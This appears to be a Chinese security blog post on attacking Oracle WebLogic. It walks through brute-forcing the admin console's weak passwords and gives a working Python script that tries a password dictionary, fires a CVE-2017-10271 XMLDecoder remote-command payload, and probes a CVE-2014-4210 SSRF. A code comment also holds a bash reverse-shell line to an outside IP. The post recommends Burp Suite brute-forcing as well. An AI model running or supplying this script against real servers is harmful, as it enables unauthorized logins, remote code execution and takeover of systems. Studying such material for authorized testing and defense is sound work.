weblogic系列漏洞整理 -———— 2、weblogic弱口令

weblogic常用的后台登录弱口令

 

 

WebLogic后台登陆地址: http://192.168.11.178:7001/console/login/LoginForm.jsp

测试思路

登陆weblogic后台看到后台地址登陆并无限制(验证码或登录认证次数),因此可以尝试写脚本进行爆破。

在登陆页面随便输入一个用户名密码,利用network查看提交情况

可以看到,点击提交按钮后,浏览器向http://192.168.11.178:7001/console/j_security_check地址POST提交了这个表单

j_username: web
j_password: logic
j_character_encoding: UTF-8

当提交错误时,重新返回登陆页面的地址,

正确时,则返回新的地址

根据这个思路即可以编写爆破脚本

 python爆破脚本

# !/usr/bin/env python           
# coding  : utf-8 
# Date    : 2018-04-03 19:08:00
# Author  : b4zinga
# Email   : b4zinga@outlook.com
# Function: weblogic vuln

import requests


class WebLogic:
    def __init__(self, url):
        if '://' not in url:
            url = 'http://' + url
        self.url = url.strip('/')

    def xmlDecoder(self):
        """Version:10.3.6.0.0/12.1.3.0.0/12.2.1.1.0
        CVE-2017-10271
        """
        headers = {
            "Content-Type":"text/xml;charset=UTF-8",
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }

        # <string>bash -i &gt;&amp; /dev/tcp/192.168.1.133/4444 0&gt;&amp;1</string>
        xml = """
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>"""
        req = requests.post(self.url+":7001/wls-wsat/CoordinatorPortType", headers=headers, data=xml)
        if req.status_code == 500 :
            print('[+] WebLogic xml decoder ')
            # print(req.text)

    def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic username: '+user+'  password: '+pwd)

    def ssrf(self):
        """Version: 10.0.2/10.3.6
        CVE-2014-4210"""
        # payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001"
        payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

        req = requests.get(self.url+payload, timeout=10, verify=False)
        if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
            print("[+] WebLogic ssrf")



if __name__ == '__main__':
    url = '192.168.136.130'
    wls = WebLogic(url)

    wls.xmlDecoder()
    wls.weakPasswd()
    wls.ssrf()

核心代码说明

python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False参数,指定requests不跟随跳转。

burpsuite爆破

因为没有验证码以及登录的次数限制,所以可以使用burpsuite+强大的第三方密码字典进行爆破,当然如果知道用户名的话那么就更加简单了哦!

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值